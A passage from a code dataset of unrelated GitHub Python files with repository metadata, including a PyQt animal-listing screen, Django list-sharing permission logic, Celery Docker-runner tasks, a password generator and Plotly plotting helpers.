self.txtCadastrar.setGeometry(QtCore.QRect(30, 10, 401, 51))\n self.txtCadastrar.setStyleSheet(\"position: absolute;\\n\"\n \"width: 397px;\\n\"\n \"height: 36px;\\n\"\n \"left: 299px;\\n\"\n \"top: 80px;\\n\"\n \"\\n\"\n \"font-family: \\'Inter\\';\\n\"\n \"font-style: normal;\\n\"\n \"font-weight: 600;\\n\"\n \"font-size: 32px;\\n\"\n \"line-height: 39px;\\n\"\n \"text-align: center;\\n\"\n \"\\n\"\n \"color: white;\\n\"\n \"\")\n self.txtCadastrar.setObjectName(\"txtCadastrar\")\n self.frame = QtWidgets.QFrame(self.container)\n self.frame.setGeometry(QtCore.QRect(20, 60, 621, 451))\n self.frame.setStyleSheet(\"background-color: rgb(255, 255, 255)\")\n self.frame.setFrameShape(QtWidgets.QFrame.StyledPanel)\n self.frame.setFrameShadow(QtWidgets.QFrame.Raised)\n self.frame.setObjectName(\"frame\")\n self.listagemAnimal = QtWidgets.QTableWidget(self.frame)\n self.listagemAnimal.setGeometry(QtCore.QRect(20, 10, 591, 431))\n self.listagemAnimal.setStyleSheet(\"position: absolute;\\n\"\n \"width: 397px;\\n\"\n \"height: 36px;\\n\"\n \"left: 299px;\\n\"\n \"top: 80px;\\n\"\n \"background-color:rgb(201, 201, 201);\\n\"\n \"\\n\"\n \"font-family: \\'Inter\\';\\n\"\n \"font-style: normal;\\n\"\n \"font-weight: 100;\\n\"\n \"font-size:12px;\\n\"\n \"line-height: 39px;\\n\"\n \"text-align: center;\\n\"\n \"\\n\"\n \"color: black;\")\n self.listagemAnimal.setObjectName(\"listagemCliente\")\n readAnimal = AnimalController.readControllerAimal('')\n tam = readAnimal.__len__()\n self.listagemAnimal.setColumnCount(8)\n self.listagemAnimal.setRowCount(tam)\n item = QtWidgets.QTableWidgetItem()\n font = QtGui.QFont()\n font.setBold(True)\n font.setWeight(75)\n item.setFont(font)\n self.listagemAnimal.setHorizontalHeaderItem(0, item)\n item = QtWidgets.QTableWidgetItem()\n font = QtGui.QFont()\n font.setBold(True)\n font.setWeight(75)\n item.setFont(font)\n self.listagemAnimal.setHorizontalHeaderItem(1, item)\n item = QtWidgets.QTableWidgetItem()\n self.listagemAnimal.setHorizontalHeaderItem(2, item)\n item = QtWidgets.QTableWidgetItem()\n self.listagemAnimal.setHorizontalHeaderItem(3, item)\n item = QtWidgets.QTableWidgetItem()\n self.listagemAnimal.setHorizontalHeaderItem(4, item)\n item = QtWidgets.QTableWidgetItem()\n self.listagemAnimal.setHorizontalHeaderItem(5, item)\n item = QtWidgets.QTableWidgetItem()\n self.listagemAnimal.setHorizontalHeaderItem(6, item)\n item = QtWidgets.QTableWidgetItem()\n self.listagemAnimal.setHorizontalHeaderItem(7, item)\n self.btnAtualizar = QtWidgets.QPushButton(self.container)\n self.btnAtualizar.setGeometry(QtCore.QRect(500, 520, 141, 61))\n self.btnAtualizar.setStyleSheet(\"position: absolute;\\n\"\n \"width: 251px;\\n\"\n \"height: 66px;\\n\"\n \"left: 381px;\\n\"\n \"top: 884px;\\n\"\n \"\\n\"\n \"background: #304456;\\n\"\n \"border-radius: 27px;\\n\"\n \"\\n\"\n \"font-family: \\'Inter\\';\\n\"\n \"font-style: normal;\\n\"\n \"font-weight: 700;\\n\"\n \"font-size: 20px;\\n\"\n \"line-height: 24px;\\n\"\n \"text-align: center;\\n\"\n \"\\n\"\n \"color: #FFFFFF;\")\n self.btnAtualizar.setObjectName(\"btnAtualizar\")\n\n self.retranslateUi(Cadastrar)\n QtCore.QMetaObject.connectSlotsByName(Cadastrar)\n query = AnimalController.readControllerAimal('')\n\n while (self.listagemAnimal.rowCount() > 0):\n self.listagemAnimal.removeRow(0)\n row = 0\n while row < tam:\n self.listagemAnimal.insertRow(row)\n idAnimal = QTableWidgetItem(str(query[row][0]))\n nomeAnimal = QTableWidgetItem(query[row][1])\n idade = QTableWidgetItem(query[row][6])\n sexo = QTableWidgetItem(query[row][3])\n raca = QTableWidgetItem(query[row][4])\n peso = QTableWidgetItem(query[row][5])\n dono = QTableWidgetItem(query[row][7])\n especie = QTableWidgetItem(query[row][2])\n\n self.listagemAnimal.setItem(row, 0, idAnimal)\n self.listagemAnimal.setItem(row, 1, nomeAnimal)\n self.listagemAnimal.setItem(row, 2, idade)\n self.listagemAnimal.setItem(row, 3, sexo)\n self.listagemAnimal.setItem(row, 4, raca)\n self.listagemAnimal.setItem(row, 5, peso)\n self.listagemAnimal.setItem(row, 6, especie)\n self.listagemAnimal.setItem(row, 7, dono)\n\n row = row + 1\n\n def SelecionarAnimal(self):\n self.linha = self.listagemAnimal.currentIndex().row()\n self.idAnimal = self.listagemAnimal.item(self.linha, 0).text()\n return self.idAnimal\n\n def retranslateUi(self, Cadastrar):\n _translate = QtCore.QCoreApplication.translate\n Cadastrar.setWindowTitle(_translate(\"Cadastrar\", \"Cadastrar\"))\n self.healthypets.setText(_translate(\"Cadastrar\", \"HEALTHY PETS\"))\n self.txtCadastrar.setText(_translate(\n \"Cadastrar\", \"LISTAGEM DE ANIMAIS\"))\n item = self.listagemAnimal.horizontalHeaderItem(0)\n item.setText(_translate(\"Cadastrar\", \"ID\"))\n item = self.listagemAnimal.horizontalHeaderItem(1)\n item.setText(_translate(\"Cadastrar\", \"NOME\"))\n item = self.listagemAnimal.horizontalHeaderItem(2)\n item.setText(_translate(\"Cadastrar\", \"IDADE\"))\n item = self.listagemAnimal.horizontalHeaderItem(3)\n item.setText(_translate(\"Cadastrar\", \"SEXO\"))\n item = self.listagemAnimal.horizontalHeaderItem(4)\n item.setText(_translate(\"Cadastrar\", \"RACA\"))\n item = self.listagemAnimal.horizontalHeaderItem(5)\n item.setText(_translate(\"Cadastrar\", \"PESO\"))\n item = self.listagemAnimal.horizontalHeaderItem(6)\n item.setText(_translate(\"Cadastrar\", \"DONO\"))\n item = self.listagemAnimal.horizontalHeaderItem(7)\n item.setText(_translate(\"Cadastrar\", \"RACAO\"))\n self.btnAtualizar.setText(_translate(\"Cadastrar\", \"SELECIONAR\"))\n\n\nif __name__ == \"__main__\":\n import sys\n app = QtWidgets.QApplication(sys.argv)\n Cadastrar = QtWidgets.QWidget()\n ui = Ui_ListarAnimalProntuario()\n ui.setupUi(Cadastrar)\n Cadastrar.show()\n sys.exit(app.exec_())\n","repo_name":"Guilgb/PRINT-CRUD-MVC-Python","sub_path":"venv/src/view/prontuarioView/ListagemAnimaisProntuario.py","file_name":"ListagemAnimaisProntuario.py","file_ext":"py","file_size_in_byte":9749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"5440334701","text":"import logging\n\nfrom django.db import IntegrityError, transaction\nfrom django.forms.formsets import BaseFormSet\nfrom django.forms import formset_factory\nfrom django.core.exceptions import (\n PermissionDenied,\n ObjectDoesNotExist,\n ValidationError,\n)\n\nfrom accounts.models import CustomUser\nfrom mainapp.models import (\n UserList,\n UserListCustomUser_ReadOnly,\n UserListCustomUser_ReadWrite,\n)\nfrom mainapp.forms import UserPermissionForm\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass PermissionAlreadyGranted(Exception):\n \"\"\"Exception for cauth already existing permissions\"\"\"\n\n\ndef userlist_access_check(user_id: int, userlist_id: int) -> int:\n \"\"\"\n Check that userlist_id is exists.\n Return a int stands for access rights for passed userlist_id for\n passed user (user_id).\n 0 is no rights,\n 1 is only read,\n 2 is readwrite,\n 3 - user is author of this list (all rights)\n \"\"\"\n try:\n userlist_obj = UserList.objects.get(id=userlist_id)\n except UserList.DoesNotExist:\n raise ObjectDoesNotExist(\"List #%s not found\" % userlist_id)\n if userlist_obj.author.id == user_id:\n return 3\n\n #this is my approach to format code:\n if len(list(UserListCustomUser_ReadWrite.objects.filter(\n customuser=user_id, userlist=userlist_id\n ))) > 0:\n return 2\n #and this is what Black done, witch is better?\n if (\n len(\n list(\n UserListCustomUser_ReadOnly.objects.filter(\n customuser=user_id, userlist=userlist_id\n )\n )\n )\n > 0\n ):\n return 1\n \n return 0\n\n\ndef add_permission(userlist_id: int, user_id: int, sharelink: str, mode: str):\n \"\"\"\n Add permission to readonly or read/write of exacly list and exacly\n user to jointable, if properly sharecode was passed to this func\n \"\"\"\n try:\n changing_userlist = UserList.objects.get(id=userlist_id)\n except UserList.DoesNotExist:\n raise ObjectDoesNotExist(\"UserList not found\")\n if mode == \"readonly\":\n JoinTable = UserListCustomUser_ReadOnly\n table_sharelink = changing_userlist.sharelink_readonly\n elif mode == \"readwrite\":\n JoinTable = UserListCustomUser_ReadWrite\n table_sharelink = changing_userlist.sharelink_readwrite\n else:\n raise ValueError(\n 'Wrong mode passed. Use mode = \"readonly\" or \"readwrite\"'\n )\n if not (table_sharelink == sharelink):\n raise ValueError(\"Wrong sharelink code\")\n try:\n user = CustomUser.objects.get(id=user_id)\n except CustomUser.DoesNotExist:\n raise ObjectDoesNotExist(\"User not found\")\n jointable_records = JoinTable.objects.filter(\n customuser=user, userlist=changing_userlist.id\n )\n if len(jointable_records) >= 1:\n raise PermissionAlreadyGranted(\"Permission already granted\")\n\n # check the access, to raise error if access level is already higher\n if mode == \"readonly\":\n if userlist_access_check(user_id, userlist_id) >= 1:\n raise PermissionAlreadyGranted(\n \"You already have higher privileges for this list\"\n )\n if mode == \"readwrite\":\n if userlist_access_check(user_id, userlist_id) >= 2:\n raise PermissionAlreadyGranted(\n \"You already have higher privileges for this list\"\n )\n\n with transaction.atomic():\n # deleting readonly permisson, if readwrite adding:\n if mode == \"readwrite\":\n JoinTable_readonly = UserListCustomUser_ReadOnly.objects.filter(\n customuser=user, userlist=changing_userlist.id\n )\n if len(JoinTable_readonly) >= 1:\n JoinTable_readonly.delete()\n\n JoinTable.objects.create(customuser=user, userlist=changing_userlist)\n\n\ndef add_permission_checker(userlist_id: int, user_id: int, sharelink: str):\n \"\"\"\n Check information about adding permissions request, and if all is fine -\n returns title, description and mode = readonly/readwrite\n \"\"\"\n try:\n changing_userlist = UserList.objects.get(id=userlist_id)\n except UserList.DoesNotExist:\n raise ObjectDoesNotExist(\"UserList not found\")\n if sharelink == changing_userlist.sharelink_readonly:\n mode = \"readonly\"\n elif sharelink == changing_userlist.sharelink_readwrite:\n mode = \"readwrite\"\n else:\n raise ValueError(\"Wrong sharelink code\")\n return {\n \"title\": changing_userlist.title,\n \"description\": changing_userlist.description,\n \"mode\": mode,\n }\n\n\ndef detele_permission(\n userlist_id: int, acting_user_id: int, user_id: int, mode: str\n):\n \"\"\"\n Delete permissions of readonly or read/write jointable of exacly user and\n exacly list, if user that trying to delete permissions (acting_user_id)\n if author of this list, or acting_user trying to delete himself's access\n \"\"\"\n if not (mode == \"readonly\" or mode == \"readwrite\"):\n raise ValueError(\n 'Wrong mode passed. Use mode = \"readonly\" or \"readwrite\"'\n )\n access_level = userlist_access_check(acting_user_id, userlist_id)\n if user_id != acting_user_id:\n required_access_level = 3\n elif mode == \"readwrite\":\n required_access_level = 2\n elif mode == \"readonly\":\n required_access_level = 1\n if access_level < required_access_level:\n raise PermissionDenied(\n \"You have no access to delete \\\n permission for this list\"\n )\n \n try:\n if mode == \"readonly\":\n UserListCustomUser_ReadOnly.objects.get(\n customuser=user_id, userlist=userlist_id\n ).delete()\n elif mode == \"readwrite\":\n UserListCustomUser_ReadWrite.objects.get(\n customuser=user_id, userlist=userlist_id\n ).delete()\n except (\n UserListCustomUser_ReadOnly.DoesNotExist,\n UserListCustomUser_ReadWrite.DoesNotExist,\n ) as e:\n raise ObjectDoesNotExist(\"Deleting permission does not exist\")\n\n\ndef set_permission(\n userlist_id: int, acting_user_id: int, user_id: int, mode: str\n):\n \"\"\"\n sets the permission of exacly list for exacly user to readonly, if user that\n trying to change permissions (acting_user_id) if author of this list\n \"\"\"\n if userlist_access_check(acting_user_id, userlist_id) < 3:\n raise PermissionDenied(\n \"You not author so you cant sets others \\\n permission for this list\"\n )\n changing_userlist = UserList.objects.get(id=userlist_id)\n\n if not (mode == \"readonly\" or mode == \"readwrite\" or mode == \"none\"):\n raise ValueError(\n 'Wrong mode passed. Use mode = \"readonly\" or \"readwrite\" or \"none\"'\n )\n\n if mode == \"none\":\n try:\n detele_permission(userlist_id, acting_user_id, user_id, \"readonly\")\n except ObjectDoesNotExist:\n pass\n try:\n detele_permission(\n userlist_id, acting_user_id, user_id, \"readwrite\"\n )\n except ObjectDoesNotExist:\n pass\n return True\n\n if mode == \"readonly\":\n try:\n detele_permission(\n userlist_id, acting_user_id, user_id, \"readwrite\"\n )\n except ObjectDoesNotExist:\n pass\n try:\n table_sharelink = changing_userlist.sharelink_readonly\n add_permission(userlist_id, user_id, table_sharelink, \"readonly\")\n return True\n except PermissionAlreadyGranted as error:\n return True\n except (LookupError, ValueError, ObjectDoesNotExist) as error:\n raise ValueError(\n \"Error while adding permissions: \" + str(error.args)\n )\n\n if mode == \"readwrite\":\n try:\n detele_permission(userlist_id, acting_user_id, user_id, \"readonly\")\n except ObjectDoesNotExist:\n pass\n try:\n table_sharelink = changing_userlist.sharelink_readwrite\n add_permission(userlist_id, user_id, table_sharelink, \"readwrite\")\n return True\n except PermissionAlreadyGranted as error:\n return True\n except (LookupError, ValueError, ObjectDoesNotExist) as error:\n raise ValueError(\n \"Error while adding permissions: \" + str(error.args)\n )\n\n info = f\"userlist_id: {userlist_id}, acting_user_id: {acting_user_id},\" \\\n f\"user_id: {user_id}, mode: {mode}\"\n logger.error(f\"set_permission func failed! Incoming inputs: {info}\")\n raise ValueError(\"Something went wronge while changing permissions\")\n\n\ndef get_permissions(userlist_id: int, acting_user_id: int):\n \"\"\"Returns formset of all existing permissions for requested userlist\"\"\"\n if userlist_access_check(acting_user_id, userlist_id) < 3:\n raise PermissionDenied(\n \"You not author so you cant check others \\\n permissions for this list\"\n )\n permissions_formset = formset_factory(\n UserPermissionForm, formset=BaseFormSet, extra=0\n )\n userlist_obj = UserList.objects.get(id=userlist_id)\n r_records = UserListCustomUser_ReadOnly.objects.filter(\n userlist=userlist_obj\n )\n rw_records = UserListCustomUser_ReadWrite.objects.filter(\n userlist=userlist_obj\n )\n permissions_data = []\n for record in rw_records:\n permissions_data.append(\n {\n \"username\": record.customuser,\n \"username_id\": record.customuser.id,\n \"access\": \"readwrite\",\n }\n )\n for record in r_records:\n permissions_data.append(\n {\n \"username\": record.customuser,\n \"username_id\": record.customuser.id,\n \"access\": \"readonly\",\n }\n )\n return permissions_formset(initial=permissions_data)\n\n\ndef save_permissions(request, userlist_id: int):\n \"\"\"Saves all access options for userlist\"\"\"\n permissions_formset = formset_factory(\n UserPermissionForm, formset=BaseFormSet\n )\n permissions_formset_obj = permissions_formset(request.POST)\n if not (permissions_formset_obj.is_valid()):\n print(permissions_formset_obj)\n raise ValidationError(\"form is not valid\")\n #\n for permissions_form in permissions_formset_obj:\n try:\n username_id = permissions_form.cleaned_data.get(\"username_id\")\n user_obj = CustomUser.objects.get(id=username_id)\n except CustomUser.DoesNotExist:\n raise ObjectDoesNotExist(\n \"User with id %s not found to save\" % username_id\n )\n set_permission(\n userlist_id,\n request.user.id,\n user_obj.id,\n permissions_form.cleaned_data.get(\"access\"),\n )\n","repo_name":"NewSouthMjos/ShareList","sub_path":"sharelist/apps/mainapp/services/permissions_logic.py","file_name":"permissions_logic.py","file_ext":"py","file_size_in_byte":10909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"28036385896","text":"# See also examples/example_track/example_meta.py for a longer, commented example\ntrack = dict(\n author_username='dansbecker',\n course_name='Machine Learning Explainability',\n course_url='https://www.kaggle.com/learn/machine-learning-explainability',\n course_forum_url='https://www.kaggle.com/learn-forum/161307'\n)\n\nlessons = [ {'topic': topic_name} for topic_name in\n ['Use Cases for Model Insights',\n 'Permutation Importance',\n 'Partial Plots',\n 'SHAP Values',\n 'Advanced Uses of SHAP Values'\n ]\n ]\n\nnotebooks = [\n dict(\n filename='tut1_intro.ipynb',\n lesson_idx=0,\n type='tutorial',\n ),\n dict(\n filename='tut2_perm_importance.ipynb',\n lesson_idx=1,\n type='tutorial',\n ),\n dict(\n filename='ex2_perm_importance.ipynb',\n lesson_idx=1,\n type='exercise',\n scriptid=1637562\n ),\n dict(\n filename='tut3_partial_plots.ipynb',\n lesson_idx=2,\n type='tutorial'\n ),\n dict(\n filename='ex3_partial_plots.ipynb',\n lesson_idx=2,\n type='exercise',\n scriptid=1637380\n ),\n dict(\n filename='tut4_shap_basic.ipynb',\n lesson_idx=3,\n type='tutorial'\n ),\n dict(\n filename='ex4_shap_basic.ipynb',\n lesson_idx=3,\n type='exercise',\n scriptid=1637226,\n enable_internet=True\n ),\n dict(\n filename='tut5_shap_advanced.ipynb',\n lesson_idx=4,\n type='tutorial'\n ),\n dict(\n filename='ex5_shap_advanced.ipynb',\n lesson_idx=4,\n type='exercise',\n scriptid=1699743\n )\n]\n\nfor nb in notebooks:\n nb['dataset_sources'] = [\n \"mathan/fifa-2018-match-statistics\",\n \"dansbecker/hospital-readmissions\",\n \"dansbecker/new-york-city-taxi-fare-prediction\",\n ]\n\n","repo_name":"Kaggle/learntools","sub_path":"notebooks/ml_explainability/track_meta.py","file_name":"track_meta.py","file_ext":"py","file_size_in_byte":1956,"program_lang":"python","lang":"en","doc_type":"code","stars":419,"dataset":"github-code","pt":"32"} +{"seq_id":"3328114332","text":"myCats = []\n\nwhile True:\n print('Please enter the name of cat number ' + str(len(myCats) + 1) + ' (or enter nothing to stop.):')\n catName = input()\n if catName == '':\n break\n myCats = myCats + [catName]\nprint('My cat names are: ')\nfor name in myCats:\n print(' ' + name)","repo_name":"Mahany93/BoringStuff","sub_path":"allMyCats1.py","file_name":"allMyCats1.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"4573909996","text":"from __future__ import absolute_import, unicode_literals\n\nfrom celery import shared_task\nfrom celery.utils.log import get_task_logger\nfrom django.contrib.auth import get_user_model\n\nimport magic\nimport docker\nimport docker.tls\nimport docker.errors\nimport io\nimport re\nimport json\nimport tarfile\nimport os\n\nfrom . import models\nfrom . import utils\n\nimport ipdb # NOQA\n\nlogger = get_task_logger(__name__)\nmime = magic.Magic(mime=True)\n\n\n@shared_task\ndef evaluate_idef(idef_pk, owner_pk):\n try:\n idef = models.InputDefinition.objects.get(pk=idef_pk)\n except models.InputDefinition.DoesNotExist:\n logger.warning(\"evaluate of unknown idef {}\".format(idef_pk))\n return\n\n owner = get_user_model().objects.get(pk=owner_pk)\n logger.warning(\"evaluate {} (@{})\".format(idef, owner))\n utils.evaluate_idef(idef, owner)\n\n\n\ndef docker_api():\n return docker.APIClient(base_url='unix://var/run/docker.sock')\n # tls = docker.tls.TLSConfig(ca_cert=os.path.expanduser(\"~/.docker/ca.pem\"),\n # client_cert=(os.path.expanduser(\"~/.docker/cert.pem\"), os.path.expanduser(\"~/.docker/key.pem\")), verify=True)\n # return docker.APIClient(base_url=settings.DOCKER_BASE_URL, tls=tls)\n\n\ndef docker_add_file(tar, name, content):\n if content is None:\n return\n\n ti = tarfile.TarInfo(name=name)\n ti.size = len(content)\n tar.addfile(ti, io.BytesIO(content))\n\n\nre_ansi_escape = re.compile(r'\\x1b[^m]*m')\nre_stepx = re.compile(\"^Step\\s+(\\d+)[/\\d]*\\s+:\\s?(.*)$\")\nre_docker_comment = re.compile(\"^ ---> (.*)$\")\nre_docker_comment_image = re.compile(\"^ ---> ([0-9a-z]{12})$\")\nre_docker_image = re.compile(\"^\\s*Successfully built (\\S+)\\s*$\")\n\n\n@shared_task\ndef remove_image(img):\n api = docker_api()\n api.remove_image(img, force=True)\n\n\ndef create_image(api, image, args): # NOQA\n img = io.BytesIO()\n tar = tarfile.TarFile(fileobj=img, mode=\"w\")\n\n dfile = \"FROM {}\\n\".format(image)\n for n, arg in enumerate(args if args else list()):\n dfile += \"COPY arg{}.json /data/arg{}.json\\n\".format(n, n)\n docker_add_file(tar, 'arg{}.json'.format(n), json.dumps(arg).encode('utf-8'))\n\n docker_add_file(tar, 'Dockerfile', dfile.encode('utf-8'))\n\n tar.close()\n img.seek(0)\n\n image_id = None\n err = None\n try:\n for line in api.build(fileobj=img, rm=True, custom_context=True):\n out = json.loads(line.decode('utf8'))\n\n if 'stream' in out:\n st = re_ansi_escape.sub('', out['stream'])\n logger.debug(\"docker: {}\".format(out['stream']))\n\n m = re_docker_comment_image.match(st)\n if m:\n # remove_image.apply_async(args=[m.group(1)], kwargs={}, countdown=10)\n continue\n\n m = re_docker_image.match(st)\n if m:\n image_id = m.group(1)\n continue\n\n elif 'errorDetail' in out:\n err = out['error']\n\n except docker.errors.APIError as ex:\n logger.error(\"docker run failed: {}\".format(ex.explanation))\n return\n\n if err is not None:\n logger.error(\"docker run failed: {}\".format(err))\n return\n\n if not image_id:\n logger.error(\"docker run failed: ?!?!\")\n return\n\n return image_id\n\n\n@shared_task\ndef update_docker(idk_pk, countdown):\n try:\n idk = models.InputDocker.objects.get(pk=idk_pk)\n except models.InputDefinition.DoesNotExist:\n logger.warning(\"update_docker: unknown id {}\".format(idk_pk))\n return\n\n api = docker_api()\n\n cid = idk.container_id\n out = api.logs(cid).decode('utf-8'),\n info = api.inspect_container(cid)\n\n data = {'type': 'docker', 'out': out}\n\n if countdown > 0 and info['State']['Running']:\n data['running'] = True\n\n utils.update_idv(idk.value, data)\n update_docker.apply_async(args=[idk_pk, countdown-1], kwargs={}, countdown=3)\n\n return\n\n if info['State']['Running']:\n api.kill(cid)\n\n api.wait(cid)\n (t, s) = api.get_archive(cid, \"/output/\")\n info = api.inspect_container(cid)\n\n data['running'] = False\n data['exitcode'] = info['State']['ExitCode']\n data['data'] = list()\n\n tar = tarfile.open(fileobj=io.BytesIO(t.data), mode=\"r\")\n\n for m in tar.getmembers():\n if not m.isfile():\n continue\n\n content = tar.extractfile(m).read()\n data['data'].append({\n 'name': m.name,\n 'size': m.size,\n 'content': content.decode('utf-8'),\n 'type': mime.from_buffer(content)})\n\n utils.update_idv(idk.value, data)\n\n api.remove_container(cid)\n idk.delete()\n\n\n@shared_task\ndef run_docker(docker_pk):\n try:\n idk = models.InputDocker.objects.get(pk=docker_pk)\n except models.InputDefinition.DoesNotExist:\n logger.warning(\"run_docker: unknown id {}\".format(docker_pk))\n return\n\n api = docker_api()\n\n image_id = create_image(api, idk.image, json.loads(idk.args) if idk.args else None)\n if not image_id:\n idk.delete()\n\n idk.container_id = api.create_container(image=image_id, network_disabled=True)['Id']\n idk.save()\n\n logger.info(\"start container {}\".format(idk.container_id))\n api.start(idk.container_id)\n\n update_docker.apply_async(args=[idk.pk, 10], kwargs={}, countdown=1)\n\n return idk\n","repo_name":"jenda1/django-wiki-forms","sub_path":"django_wiki_forms/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":5363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"72485946972","text":"def print_solution(perm):\n print(\" \".join(perm))\n\ndef is_valid(perm):\n # In this example, any arrangement is considered valid\n return True\n\ndef arrange_boys_girl_seats(perm, choices):\n if len(perm) == len(choices):\n # All positions are filled, print the solution\n print_solution(perm)\n return\n\n for person in choices:\n # Skip arrangements where the girl is not in the middle\n if person == 'Girl' and len(perm) != len(choices) // 2:\n continue\n\n # Add the person to the current arrangement\n perm.append(person)\n\n # Check if the current arrangement is valid\n if is_valid(perm):\n # Recur to fill the next position\n arrange_boys_girl_seats(perm, choices)\n\n # Backtrack: Remove the person and try other possibilities\n perm.pop()\n\n# Example usage:\nboys_and_girl = ['Boy1', 'Girl', 'Boy2']\narrange_boys_girl_seats([], boys_and_girl)\n","repo_name":"henrii1/Data-Science-and-ML-Learning","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"26313010494","text":"import gi\n\ngi.require_version(\"GLib\", \"2.0\")\ngi.require_version(\"GdkPixbuf\", \"2.0\")\nfrom gi.repository import GLib, GdkPixbuf, Gio\n\n\nclass Stream(object):\n def __init__(self):\n pass\n\n def fetch(self, data):\n img_file = Gio.File.new_for_uri(data[\"icon\"])\n img_file.read_async(GLib.PRIORITY_LOW, None, self._open_stream, data)\n\n def _open_stream(self, img_file, result, data):\n try:\n stream = img_file.read_finish(result)\n except GLib.Error as error:\n print(\"_open_stream Error: {}, {}\".format(error.domain, error.message))\n return False\n\n GdkPixbuf.Pixbuf.new_from_stream_async(stream, None, self._pixbuf_loaded, data)\n\n def _pixbuf_loaded(self, stream, result, data):\n try:\n pixbuf = GdkPixbuf.Pixbuf.new_from_stream_finish(result)\n except GLib.Error as error:\n print(\"_pixbuf_loaded Error: {}, {}\".format(error.domain, error.message))\n return False\n\n stream.close_async(GLib.PRIORITY_LOW, None, self._close_stream, None)\n self.StreamGet(pixbuf, data)\n\n def _close_stream(self, stream, result, data):\n try:\n stream.close_finish(result)\n except GLib.Error as error:\n print(\"Error: {}, {}\".format(error.domain, error.message))\n","repo_name":"pardus/pardus-xfce-greeter","sub_path":"src/Stream.py","file_name":"Stream.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"32"} +{"seq_id":"5683357373","text":"import random\n\nletters = [\n \"a\",\n \"b\",\n \"c\",\n \"d\",\n \"e\",\n \"f\",\n \"g\",\n \"h\",\n \"i\",\n \"j\",\n \"k\",\n \"l\",\n \"m\",\n \"n\",\n \"o\",\n \"p\",\n \"q\",\n \"r\",\n \"s\",\n \"t\",\n \"u\",\n \"v\",\n \"w\",\n \"x\",\n \"y\",\n \"z\",\n \"A\",\n \"B\",\n \"C\",\n \"D\",\n \"E\",\n \"F\",\n \"G\",\n \"H\",\n \"I\",\n \"J\",\n \"K\",\n \"L\",\n \"M\",\n \"N\",\n \"O\",\n \"P\",\n \"Q\",\n \"R\",\n \"S\",\n \"T\",\n \"U\",\n \"V\",\n \"W\",\n \"X\",\n \"Y\",\n \"Z\",\n]\nnumbers = [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\"]\nsymbols = [\"!\", \"#\", \"$\", \"%\", \"&\", \"(\", \")\", \"*\", \"+\"]\n\nprint(\"Welcome to the PyPassword Generator!\")\nnr_letters = int(input(\"How many letters would you like in your password?\\n\"))\nnr_symbols = int(input(f\"How many symbols would you like?\\n\"))\nnr_numbers = int(input(f\"How many numbers would you like?\\n\"))\n\n# pwd_list = (\n# random.sample(letters, nr_letters)\n# + random.sample(symbols, nr_symbols)\n# + random.sample(numbers, nr_numbers)\n# )\n# print(\"\".join(random.sample(pwd_list, len(pwd_list))))\n\n# password = \"\"\n# for i in range(0, nr_letters):\n# password += random.choice(letters)\n\n# for i in range(0, nr_symbols):\n# password += random.choice(symbols)\n\n# for i in range(0, nr_numbers):\n# password += random.choice(numbers)\n\n# print(password)\n\n\npwd_list = []\nfor i in range(0, nr_letters):\n pwd_list.append(random.choice(letters))\n\nfor i in range(0, nr_symbols):\n pwd_list.append(random.choice(symbols))\n\nfor i in range(0, nr_numbers):\n pwd_list.append(random.choice(numbers))\n\nrandom.shuffle(pwd_list)\nprint(\"\".join(pwd_list))\n","repo_name":"DeepikaSampangi/MyPythonPrograms","sub_path":"100_Days_of_Python_Coding/Day_5_Loops/password_Generator.py","file_name":"password_Generator.py","file_ext":"py","file_size_in_byte":1624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"25306226799","text":"import plotly.graph_objects as go\r\nfrom vc.data_treat.maps import Month\r\n\r\n# Standard width and height for figures, at the top for easy reference.\r\nheight_standard = 800\r\nwidth_standard = 1400\r\n\r\n\r\ndef braz_cities_temp_per_year(month: int = None) -> go.Figure:\r\n \"\"\"\r\n Standard time plot of data.\r\n\r\n Args:\r\n month (int, optional): Whether or not a specific month is chosen. Defaults to None.\r\n\r\n Returns:\r\n go.Figure: Plotly figure.\r\n \"\"\"\r\n if month is not None:\r\n title = f\"Temperature for brazilian cities in {Month(month).name}\"\r\n else:\r\n title = f\"Temperature for brazilian cities\"\r\n\r\n fig = skeleton()\r\n fig.update_xaxes(title={\"text\": \"Months\"})\r\n fig.update_yaxes(title={\"text\": \"Temperature [deg C]\"})\r\n fig.update_layout(title=title, hovermode=\"x\")\r\n return fig\r\n\r\n\r\ndef corr_map() -> go.Figure:\r\n \"\"\"\r\n Figure for correlation plot.\r\n\r\n Returns:\r\n go.Figure: Plotly figure.\r\n \"\"\"\r\n fig = skeleton()\r\n fig.update_xaxes(title={\"text\": \"City\"})\r\n fig.update_yaxes(title={\"text\": \"City\"})\r\n fig.update_layout(title=f\"Correlation plot for brazilian cities\")\r\n return fig\r\n\r\n\r\ndef heatmap() -> go.Figure:\r\n \"\"\"\r\n Figure for heat map.\r\n\r\n Returns:\r\n go.Figure: Plotly figure.\r\n \"\"\"\r\n fig = skeleton()\r\n fig.update_xaxes(title={\"text\": \"City\"})\r\n fig.update_yaxes(title={\"text\": \"Datetime\"})\r\n fig.update_layout(title=f\"Temperature heatmap for brazilian cities\")\r\n return fig\r\n\r\n\r\ndef phase_space(stat_dict: dict) -> go.Figure:\r\n \"\"\"\r\n Figure for phase-space plot.\r\n\r\n Returns:\r\n go.Figure: Plotly figure.\r\n \"\"\"\r\n fig = skeleton()\r\n fig.update_xaxes(range=[stat_dict[\"min_total\"], stat_dict[\"max_total\"]])\r\n fig.update_yaxes(range=[stat_dict[\"min_total\"], stat_dict[\"max_total\"]])\r\n return fig\r\n\r\n\r\ndef skeleton() -> go.Figure:\r\n \"\"\"\r\n This is the 